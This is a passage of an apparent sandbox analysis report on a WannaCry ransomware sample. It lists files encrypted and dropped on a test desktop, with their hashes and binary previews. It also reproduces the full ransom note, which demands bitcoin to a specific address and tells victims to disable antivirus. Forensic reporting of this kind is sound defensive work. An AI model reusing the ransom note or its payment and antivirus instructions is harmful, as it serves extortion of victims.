                                                                                                                                                                              Preview:..t...b.2...h.u..;t....p.M..u\Y.....U.X..Ku.h}...za..b.z.M..J.......Z.0......r..QXS\..l0.^.b.......~.......-.y...[^.T..HO../K..Z...0Q.F4.7()...%9....U.....i.6H*..Wnu.v..'m.....P+.Ae..J....<.I.....I..y.{W@U(.=r..o.M.b..D....>....(F.X..3.H.c..h...d&.......E....U..>....T.Ah.|..~..Hi.....1..#'OD..W....2.......:o..Q_U.a.&.C..Z....)..e..F/..w.([.."...)#...W'..Id..I.6J6A..l.. .....<...d.h.,..~.$..-=....~.g.a..d...-B.8...>.GCZ......o..o.+$k'...]._.Nl|._ ..x...B..b.=....5.}.w...!v..'s...vof..C&.....p....a....%..w..#..DQ....|...G.0...|T....$...+.....&$S...f..0.]$..U....m.Y...U....7...0.;....S=.8........4.DP.ToG..b]..^nm.L. .........._2...F.R6..{....4.._Z......;..(..7...K..0I.:H.SjI......~kN....W.Q....f.....z..^ni...G\+..-..n8.M..4....6.....!.^Iw.l[.....>Ak.3L.".wv.S.vK...T.-...B...G.n..}.4F.c.d>.m.[../..%..[N.-.....#.!i_*7..T......2lJ.k..?AB..V$dL.... &.C.LL6.G......+vr.m.........=Bl.WS..q.........'...$. ..G..u..x0..|"1...ha.......L....!.f5t<..y...

                                                                                                                                                                              C:\Users\user\Desktop\CZQKSDDMWR.mp3.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.842229659622175
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkpg30n4yCQkKhndoJLpefSqNzcc6dL5i+idNhO2w+BZp4rkQLi4xGKOuUCBWGR3:bkpf4vcnmMfSqNzcY+WNhkOf+lPTdTSS
                                                                                                                                                                              MD5:6B8F34EC56A50ADE6386C7951A25B73D
                                                                                                                                                                              SHA1:1472E6F4D9DD168A21842DF8A6943E53E17C5AA6
                                                                                                                                                                              SHA-256:4C67E4D51BC4C75083F0B606B84F8D16CCCB301FC84F43B8F3FD2692A21B8C3A
                                                                                                                                                                              SHA-512:8E68116D03DBE2B120D293D0613E38A7855574027EA37869891CC1557FDABDA8A84CEBE52297A8307008E44D2E34215DF84A6C54473D918130888C59BB83418A
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....../n.G.925..|XB....@.,T..MaZ./5.[...K....K.@.W....tsf.N.r2..U.~T.;. 5.V...1.}...0...".GKH).....5..M:..\D...[.u1.H|m.!.W..8.8..f{.....g....Hv...Wx..kmMq .I7;IjT......5. .V.5.X.H..5.H...(...=a.qp.~....].x....oj@....6..s.....#...:.....\...L.*................h>j7........R,3......!P..D.......&.3a.ht.@[..A.gy.:.@L\.E+...E...".\h4..).=.[X....i......x.r...{...t..)J.....Q.a^....."M.8v.:dI....AHCr.J*.o...%3wn.Qig.\.)*..6'O.Zq.."#......BF..\....FX..0.J.FY.A\6L=?...}.Y.....01u.K.I..h}..Y~..p&.....g..5.m.1.q.k$.6.s..pK=.....w.H.<..I...N.t.B.\..j.....rY....T.....,a.......*.F.|_..1W8.q..s..`.[..x.2.k.ls.t~/....C...!qN.<......T.}S.:U3...v).3 @w$.......J",.h..:..9.....MvH..~suU...(.Y.c....#......b...r...t........4^.....{../.S9w........hCwJ>a.nU.....c#.qh..F.....x.8.8......i..u._p..3r..G..I.%V..`Ma3..UQ...t.../.R_.bBq.~l-..cQ.9.u#&.i.q.,&..i..~.3f.-.0..Z.......;.kQ.Y...8=-p.....D...oY.....+..n........i.....T...Y......@.q..N/.-.+."\.3...

                                                                                                                                                                              C:\Users\user\Desktop\CZQKSDDMWR.mp3.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.842229659622175
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkpg30n4yCQkKhndoJLpefSqNzcc6dL5i+idNhO2w+BZp4rkQLi4xGKOuUCBWGR3:bkpf4vcnmMfSqNzcY+WNhkOf+lPTdTSS
                                                                                                                                                                              MD5:6B8F34EC56A50ADE6386C7951A25B73D
                                                                                                                                                                              SHA1:1472E6F4D9DD168A21842DF8A6943E53E17C5AA6
                                                                                                                                                                              SHA-256:4C67E4D51BC4C75083F0B606B84F8D16CCCB301FC84F43B8F3FD2692A21B8C3A
                                                                                                                                                                              SHA-512:8E68116D03DBE2B120D293D0613E38A7855574027EA37869891CC1557FDABDA8A84CEBE52297A8307008E44D2E34215DF84A6C54473D918130888C59BB83418A
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....../n.G.925..|XB....@.,T..MaZ./5.[...K....K.@.W....tsf.N.r2..U.~T.;. 5.V...1.}...0...".GKH).....5..M:..\D...[.u1.H|m.!.W..8.8..f{.....g....Hv...Wx..kmMq .I7;IjT......5. .V.5.X.H..5.H...(...=a.qp.~....].x....oj@....6..s.....#...:.....\...L.*................h>j7........R,3......!P..D.......&.3a.ht.@[..A.gy.:.@L\.E+...E...".\h4..).=.[X....i......x.r...{...t..)J.....Q.a^....."M.8v.:dI....AHCr.J*.o...%3wn.Qig.\.)*..6'O.Zq.."#......BF..\....FX..0.J.FY.A\6L=?...}.Y.....01u.K.I..h}..Y~..p&.....g..5.m.1.q.k$.6.s..pK=.....w.H.<..I...N.t.B.\..j.....rY....T.....,a.......*.F.|_..1W8.q..s..`.[..x.2.k.ls.t~/....C...!qN.<......T.}S.:U3...v).3 @w$.......J",.h..:..9.....MvH..~suU...(.Y.c....#......b...r...t........4^.....{../.S9w........hCwJ>a.nU.....c#.qh..F.....x.8.8......i..u._p..3r..G..I.%V..`Ma3..UQ...t.../.R_.bBq.~l-..cQ.9.u#&.i.q.,&..i..~.3f.-.0..Z.......;.kQ.Y...8=-p.....D...oY.....+..n........i.....T...Y......@.q..N/.-.+."\.3...

                                                                                                                                                                              C:\Users\user\Desktop\DUUDTUBZFW.png

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.831251260138796
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:QJNdOwJeL5Sg1+YlxwHyIwbY8tI2CpSpUuqOiZumnkHt:wNdOQeL5Sg1+iwHyIwkcIFEpUu/iEmkN
                                                                                                                                                                              MD5:18546AE352926F70D7467BCB12B426C6
                                                                                                                                                                              SHA1:9AC6E21A02B3D36134868849F20BD16372C53179
                                                                                                                                                                              SHA-256:2683FEB1518ECFFAECA9FD52E32F46BC2F7A9EA5F4094623E80E6F6584005B36
                                                                                                                                                                              SHA-512:8A8FBC09444E2E1806961E0D475D5B55AECF8E2EFDDF77D880C5DA31CA93C7405A492759E23BAC9419901AEB87FDAEDBF745773EDA5EA231425336BED399375E
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:...+..A.."w...1G..9.v.A.....i.h..j....E4....y.n............i{3.$..*..N.......W....H/.*...4....RY.$..);4.N.H*.,5W.4.-...a.n0L..%.b.....Ej)t.;MJ..43._.=?.v.4.....o.E....y.G..RJ;...W*.jX...Xv.."]4.......P...`.L.|.2..RS..S...Lc+$=.K..W.P...\..,.&],wj.y.:.%.s.0.f.z...o..@,6...Oj..a9.R..o..C.@#..|....\.~.u.P...b...S.E..6.../..#..D..uz..+.2.Ut^.S...X..(31...$...8.....c'....R..&.......(5....."..jr.F...Q.0.U6..Su..`.|*..J...(5..VLQ.u...K"..n.v.fJ..zM..Fl..._..`RE.Fp..%.wBB....O7..~./..tW:=w*.(..J7].....d...[ta.U.V..V`..a..E....<...X.+X...%k.^.....>....~){..gK..&.x......Yx....U8=sq..;.Sjw.Sj-r6#.1...k.......Ri.^s.e...ut-Z....4.....).U.%.zi&0.wl......1..)....Yg.&....paL#...O.t..7...*<...p.8.aq./.BAT'GK.....y....M..".]P..z..[.B..3.T.....u..H...F...d.J.*D....&.#..d..g..].....'.......c..Wj{..a4;,....J.h:....L..M.;;.....|.:6... .M.j>.4W .p.".x...Y....x5.;.2.zQ.H.X.l2.g...I........Q.D.wlY..c-.....mLs.e..L..I..}..^...Tk.s.P...:.Kw.,....O.Y.NR....

                                                                                                                                                                              C:\Users\user\Desktop\DUUDTUBZFW.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.848614187761394
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkxZg/G1GvnjTwXolTwN60FD+cdzE/Uh4asm6JZ1IMZU:bkxZg+1G/QXoH0FvdStasm6JZS
                                                                                                                                                                              MD5:9195E954361E1A3AC4C9C309F7288A78
                                                                                                                                                                              SHA1:58B81E02C3299F0DB74663D8E3B7FF24A77BD2A7
                                                                                                                                                                              SHA-256:061C96575C6B97ED292D91EAA57BC85BD05C91C8EAD64C6859635D0D6BF4F5EA
                                                                                                                                                                              SHA-512:04870718A4090E0F8144F65CD8A943AEED39F10F2D0429675B462A5F790C2332F01AC4874992BF241412DF963C16EF20439921D2BE3EE9A74FE3E9E2ADE7F79B
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....U,....(]..Ny.Xr.%..u.-$Y..bx'....@jaV..i.\...F..:.7C....N...*....a.NNyvL]3E............10D..... .oM...%...Gx.....cI.2..G(`..pZ...t..e.U..<'.....|..%........3..2..0..8.....F..F.*..qF..V.6......)f...X:.2........`....".3..\iE...1..n..=...E;R....................v.&&cz.10....fJ.,?A+.7.....)...T..<....a....J.....8....,X0\...`....J..b..pv.\.@.'.Y"....k.X.Q......>+....q.....l~.!..6d....w.u..52}.r8o....... u.c.7.%.K.s.^c.>..i.c2E..w...4......'6..HS..$k.I}.w..A_.1.o...>........\.\.... .....w..?`.O..p.''..8.d*....Q.X.Y..G...#A|..2...lF.e..Zu..Y..C[.@..)..K..........`.Z..XH......]..y.H*S..m.!....x.......O./;J.;..9Vte.....0+...N>..{:.:..m.dh.P.Y{...tUM............x..^.....`..`...G..V._.m.(....3h}...e..Bp.j7..{]%....:.Vo.2E..G.7.%.....%.T;O.o..........,......r~b.+...;...ZAe.%..y.neMwe........`.k.o....a4..V#j...'Te7..{y.!...q ........>?...Mg..i.Sw.V.-.pP.y......{...........gK.5mfu.!..}...c]....&...2.hg..z*...o...Y..$.g[F?.....

                                                                                                                                                                              C:\Users\user\Desktop\DUUDTUBZFW.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.848614187761394
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkxZg/G1GvnjTwXolTwN60FD+cdzE/Uh4asm6JZ1IMZU:bkxZg+1G/QXoH0FvdStasm6JZS
                                                                                                                                                                              MD5:9195E954361E1A3AC4C9C309F7288A78
                                                                                                                                                                              SHA1:58B81E02C3299F0DB74663D8E3B7FF24A77BD2A7
                                                                                                                                                                              SHA-256:061C96575C6B97ED292D91EAA57BC85BD05C91C8EAD64C6859635D0D6BF4F5EA
                                                                                                                                                                              SHA-512:04870718A4090E0F8144F65CD8A943AEED39F10F2D0429675B462A5F790C2332F01AC4874992BF241412DF963C16EF20439921D2BE3EE9A74FE3E9E2ADE7F79B
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....U,....(]..Ny.Xr.%..u.-$Y..bx'....@jaV..i.\...F..:.7C....N...*....a.NNyvL]3E............10D..... .oM...%...Gx.....cI.2..G(`..pZ...t..e.U..<'.....|..%........3..2..0..8.....F..F.*..qF..V.6......)f...X:.2........`....".3..\iE...1..n..=...E;R....................v.&&cz.10....fJ.,?A+.7.....)...T..<....a....J.....8....,X0\...`....J..b..pv.\.@.'.Y"....k.X.Q......>+....q.....l~.!..6d....w.u..52}.r8o....... u.c.7.%.K.s.^c.>..i.c2E..w...4......'6..HS..$k.I}.w..A_.1.o...>........\.\.... .....w..?`.O..p.''..8.d*....Q.X.Y..G...#A|..2...lF.e..Zu..Y..C[.@..)..K..........`.Z..XH......]..y.H*S..m.!....x.......O./;J.;..9Vte.....0+...N>..{:.:..m.dh.P.Y{...tUM............x..^.....`..`...G..V._.m.(....3h}...e..Bp.j7..{]%....:.Vo.2E..G.7.%.....%.T;O.o..........,......r~b.+...;...ZAe.%..y.neMwe........`.k.o....a4..V#j...'Te7..{y.!...q ........>?...Mg..i.Sw.V.-.pP.y......{...........gK.5mfu.!..}...c]....&...2.hg..z*...o...Y..$.g[F?.....

                                                                                                                                                                              C:\Users\user\Desktop\EFOYFBOLXA.docx

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.798393327846543
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:sqlagLPcfwY6TUKxOhlQuVU+Tjs+FwbzMCiuMHmmsbP6zH:sql/F7TnxVEjFKMPxGFP6H
                                                                                                                                                                              MD5:DA22D06C18AA0A106CD3B063740E4995
                                                                                                                                                                              SHA1:9E30299679F024A63A9A4884456805BFDBFACC85
                                                                                                                                                                              SHA-256:CCED393311EC4B5067895A2E0EE799F9C260FDFF6D9AF5ED036B0AD1818DA0BC
                                                                                                                                                                              SHA-512:6457F10B2A52BCD7E899EA703804A19970E986281B7943E883CACC652BF00FB002FE78ADA18280D0DD2E28CCF3E43788CE4D42E51B3D39C29F7D022368A53193
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:..6..T...C..D.^..8......>T2Ql=..#X.r.........}.D.n.^....*.D.(}..2.hL9.).$...&....YQ....3....Uk.4.Us.M.l...Oe..._.[._..BR)T.....}....]mv.`.4=...)...I1..m...(.NB].....+s..].O<.,6..$.".M.....#....O..H..z...)..5..J..;q.e0.W..C......W.A..%9..X..9.,$h.....F9...o.Q.{..E..Z.P.....f.j.f[....%.~.1}..J...../}y>(...|..p.KPK!....+.\...)...\.&..U.!..f.}......;....zL4..s.R6.R-DI.p......iV5:.1[-.PX2.b.m......IV4..=.)...H.A...0..I.\.b.D..._F.@..<C..Er....{...p.K..=..F9....>E..y..@T.ML../y.8.BWb....u{.....4.,-8....tKn....=.N.....T.....%.=....>.z.oo#...vW+...[.R.A}vmT.z.f.I....5.....Z.~...?.'sk..o..%..`TeL.Y...F....cp.....o...".>]2...\.|m.......L.7Z~.....,9hc.2mgo.....V..d.V....kE..kY.o>4_`q.H..g...$O.I..k..d..O...F&4.O.._}.98.....?....m...I..q3..WU.........?.j..X.L....hk...:34....".`.7...}.^...k..3..&..P.......j2...2.JW.\.K|4.F..s.D....h.Yu.d3.^..4?:#....P%H.F...E.E.%l.{..L.z.c.....+....{RU..7.{....x....@.....}...T>v.b.U.......F...!..:`G..

                                                                                                                                                                              C:\Users\user\Desktop\EFOYFBOLXA.docx.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.839394405220548
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkkbUSqJokIwpn/D9CrP9mIHohJOEIgDa6qBQc/28KODayTKBrMKg7iZ7yvVFm7U:bkyZk7Iwp/DYmfhJrd26OQiDVqr3p4s4
                                                                                                                                                                              MD5:ADAC5CDFAB3EE8A884B36BB54CC13C69
                                                                                                                                                                              SHA1:674600037777E38D124495012E078191AC418FE3
                                                                                                                                                                              SHA-256:10DFA05ADFE60B9C25BD31025FF0933C0CC8FF9DC5F7F59095701E89D5FF25BE
                                                                                                                                                                              SHA-512:1517C93FE5AB910B9DB4C79E0F616856ACC1752EA291CB8CE9BE0E088F588BDDF7B8573157B9CC9F2A7C18A4D81CD5859506D708D6CDDB8E3E0B4EC61FA1AA6A
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......'@..I..{..../....o.y...s,..g. .9....."........d`.jW...&C...Y.8..:...>FF......H.m...).n.lz.F...;.p..c'%J.7?aU{.g...7iE.......N...E.<M....B.q..0C.q..!?.,..A...Z.....v@T...4.._......1H...'..;;.qu...v5A9.aLk.;4....tz.-$..j.f.J^..G....z|.....w.............)...'.gJ6.+....r.;.*.."..]ObJc<C...A..q6.W5...K#C.y.g@._\L..h@Q...8.!^..9...T..Vp..^%DOg.^~..e.gB../Z..y.am... ..m.a.;E.Es |....x0C...v.........z.....=.....;x....".O{..Z?..;/.&.-b>.O.$.W......J.7..4m.q..d.+p..h.K.E.....&n..W.Z.A.....ha...Y....8..)..X|.k.G......Z....-s..dm?.C>.~&1..w.B..o.mz...d.=f...:.=*..%.F.f.?.vW.@?.....P.u......j(.P.....8't.a./@....%..;.+.. {.Ey....#_',$:.q..U.....s.Y.D......L....w.n.q.U-"..T..{...(}.....K./...x(Z...d....P9.Dc."dn..6..bC........>....Q..d.......T<m.Rq.yr.(=im..G...+..M...[....GI...... ...0kvx...)....|R...XD....8......9}m*..+.c+....U..6.0"g.=.$bB....X.".5b.-..N-...R...3...f.Y....F...w..o...8....ZK..Uk.v.r....V...2.....S...q(.....e.

                                                                                                                                                                              C:\Users\user\Desktop\EFOYFBOLXA.docx.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.839394405220548
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkkbUSqJokIwpn/D9CrP9mIHohJOEIgDa6qBQc/28KODayTKBrMKg7iZ7yvVFm7U:bkyZk7Iwp/DYmfhJrd26OQiDVqr3p4s4
                                                                                                                                                                              MD5:ADAC5CDFAB3EE8A884B36BB54CC13C69
                                                                                                                                                                              SHA1:674600037777E38D124495012E078191AC418FE3
                                                                                                                                                                              SHA-256:10DFA05ADFE60B9C25BD31025FF0933C0CC8FF9DC5F7F59095701E89D5FF25BE
                                                                                                                                                                              SHA-512:1517C93FE5AB910B9DB4C79E0F616856ACC1752EA291CB8CE9BE0E088F588BDDF7B8573157B9CC9F2A7C18A4D81CD5859506D708D6CDDB8E3E0B4EC61FA1AA6A
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......'@..I..{..../....o.y...s,..g. .9....."........d`.jW...&C...Y.8..:...>FF......H.m...).n.lz.F...;.p..c'%J.7?aU{.g...7iE.......N...E.<M....B.q..0C.q..!?.,..A...Z.....v@T...4.._......1H...'..;;.qu...v5A9.aLk.;4....tz.-$..j.f.J^..G....z|.....w.............)...'.gJ6.+....r.;.*.."..]ObJc<C...A..q6.W5...K#C.y.g@._\L..h@Q...8.!^..9...T..Vp..^%DOg.^~..e.gB../Z..y.am... ..m.a.;E.Es |....x0C...v.........z.....=.....;x....".O{..Z?..;/.&.-b>.O.$.W......J.7..4m.q..d.+p..h.K.E.....&n..W.Z.A.....ha...Y....8..)..X|.k.G......Z....-s..dm?.C>.~&1..w.B..o.mz...d.=f...:.=*..%.F.f.?.vW.@?.....P.u......j(.P.....8't.a./@....%..;.+.. {.Ey....#_',$:.q..U.....s.Y.D......L....w.n.q.U-"..T..{...(}.....K./...x(Z...d....P9.Dc."dn..6..bC........>....Q..d.......T<m.Rq.yr.(=im..G...+..M...[....GI...... ...0kvx...)....|R...XD....8......9}m*..+.c+....U..6.0"g.=.$bB....X.".5b.-..N-...R...3...f.Y....F...w..o...8....ZK..Uk.v.r....V...2.....S...q(.....e.

                                                                                                                                                                              C:\Users\user\Desktop\EFOYFBOLXA\@Please_Read_Me@.txt

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):933
                                                                                                                                                                              Entropy (8bit):4.708686542546707
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                                                                                                                                                              MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                                                                                                                                                              SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                                                                                                                                                              SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                                                                                                                                                              SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                                                                                              C:\Users\user\Desktop\EFOYFBOLXA\@WanaDecryptor@.exe.lnk

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 21 12:19:29 2024, mtime=Wed Aug 21 12:19:29 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):575
                                                                                                                                                                              Entropy (8bit):5.1514333141017135
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:4xtQl3r23CpzeVs+bTcJHUtxXCz8lFUod6tMljAlp4hlIGoJ4D6Vod6Nu3/Wmc8E:8I2ypzYNblthRUobjAyhkotcsBmV
                                                                                                                                                                              MD5:40D3E8A910C0565F268932057F54E386
                                                                                                                                                                              SHA1:EBBE944DDE299B9B357FBEF6BDD20F7176B3C0BA
                                                                                                                                                                              SHA-256:90E66004446E10C5D31A8955509805E176408F47C3AC5B8DF5388A496CEB8B9A
                                                                                                                                                                              SHA-512:60C404E8260EDE86CE2AA3EA668386A172535C0A7009993DF3AA71A5E72114A1067ACDDD0C51B5506CA58290E5B8ABA39BD0902FDA471A34F6EB31BFB31C888A
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:L..................F.... ....+.......y.......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.........{4.....................t.2......J.2 .@WANAD~1.EXE..X.......Yoj.Yoj..............................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......X...............-.......W....................C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......284992...........hT..CrF.f4... ..............%..hT..CrF.f4... ..............%.E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                                                                                                                                                              C:\Users\user\Desktop\EFOYFBOLXA\BJZFPPWAPT.pdf

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.802910603227207
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:1RiDyr8pkaIe8tTgThE+sSrPTmTICzVd5AfVwUxcMJNGgpMiS:1RLoph4TQhE+sQKcCzVdZUqM5pE
                                                                                                                                                                              MD5:F19933735561267213BA799B29A04ED0
                                                                                                                                                                              SHA1:E5E1234C1A50FAE7F0710CF80FFB979DD6DCB4B1
                                                                                                                                                                              SHA-256:D3E09576D6850A49DDACBE96C58E5BD750E8C39FF89D5078C1838CA3F4E6E13E
                                                                                                                                                                              SHA-512:18608E07B464A4ABBB1FDF7C11CC2342DF2AAC4387F9A76D1DCD019F3F9BA7714E4D6DC3CBF60BA07DC8E5CEEC8B16CD7666573EA4B6B6C5678B2DB7A274793C
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:`......._...<e......cd..c;h....i5P..D...I|..Y.8.1.[.2.....T..m..a$y0.c..<>LH.....;..3h2V.r.g...0O.D....{.r.,K{.....R.".....o4.s.f<..,.F....`..v..t:.c..=.8..,..Q..x..;...:...!...K.6y.... .3Y.. .......2=....f....G.A..*."$...b...-@..Qe....@.%%.......N.k3.S.a....a .-.:*..g.G....h....e..../.t`q......M..!b$K......K.'.;.%..4."p......n......on....V8........L....j.......J.w.IS.O.`.yu.ID0...w ."..)mg#....#...6..e....J.x.`~..%..0X.%..D3o.R..Y............D..D.8.u........Q1..R...,6...n4{w.k"w.KV`...]RW..B$.DS]..r.wt1..C....8r/S..$.....|..J..Q@.u...&Jq.$.3.X..Z.s&UTm..m`...v.Z.`.\.T....(<..R..iV.mz).VTC......y...Ye.......}.#.H.......#...d.i3.dz....../xA...nT.?.|A...:j..z.)h8|...|......5gs.n+...X....K....y.......s...T.O${n.|...q$....-[\4.Y......f......2.X..*.........$.a.|v..6d.xg.n..3_Z7o..J4..C`d..S...*q&..FO._......w""&~.P.+4...H..i.+Z.n.{.b....4./.7.....Rz|T.<A%.K0.-.JXds.GS.]y.........m.[J.w..f._G...E.[...B..@.m?.`A.mo..........K.v.P._$

                                                                                                                                                                              C:\Users\user\Desktop\EFOYFBOLXA\BJZFPPWAPT.pdf.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.850849653874516
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkjcPPIddviFr1KunJ4iUHV/oFpd2UsaFr1DpUhkQBi2Svck8/R6o6T8:bkQPPIdVi7/KDwAaFlelsvcZ/MtT8
                                                                                                                                                                              MD5:4D731F03FA147E6A49511D86BBBA04D1
                                                                                                                                                                              SHA1:72C0C23905747FBAEB8A1994557EA49472893BE6
                                                                                                                                                                              SHA-256:4DD7E4F0C0E06206EFC9942998361254B0443F666181BBA571DBD409087E469B
                                                                                                                                                                              SHA-512:CE3ADAA028AFB52892F5A88598B12911C4A4B6635AE8881A551E98B226366F123F2A97AB59D7503881DC3DBD8D89DD7F6C0F87998943EAADF382D490443048EA
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....%.%......B..F......7...\...TL..26X..'.=..)|$.S.7@_.......U.8......M<.......Q<..!...h....r.\.P0_f.."..y...?/.&2.@o..S`]lAaKhW.v..}\...d...[";z..x...c..J.^......xI.V<H.V..N.........Y7...JQh....:F'h.9......Q.n ....h.[..W.3f...._UH.f........)...31'Q.8............+H3=M.D..Z..7.\w3.......M.:..C....9y.Q..b.')(....*.c.dZ.;2.duM#..ie]+..j..pr.].h..k(.V.!....y5z..Q.oE[.....r......u0bw......Q....83z.../.i.)......arDo;.J,..k...A....o....D9..fy....U..dF.v-../....E....-...'...+...].p..B+k..q.Z.o-.p...Pe....!p#-..X.w.Cm.j.Oo......V.xbP#..~....@....68c...FnK.%...S..#+Q.1.u........m........?..~.....>??....\....m#.\D..#....}..m.'..O...q<..........9I.t.kp.&.{...s.|...?7.7.M.TU..k.HB.vNQj1......PW?.....g..r.VG./....R... M....../...L..!.5.ss..F.V...5..4.4M..J.8P.........M.......D............VO..mMNV\..!I.k.z.-..q.....jT........B..U......bB..twF....XQ....]...)Y.MK..T."z>n>...+;(...C...[.Y.0.E...F1HIn..'.:....._.].k"u..x...0....S>..0...F.9..O.........-..;.

                                                                                                                                                                              C:\Users\user\Desktop\EFOYFBOLXA\BJZFPPWAPT.pdf.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
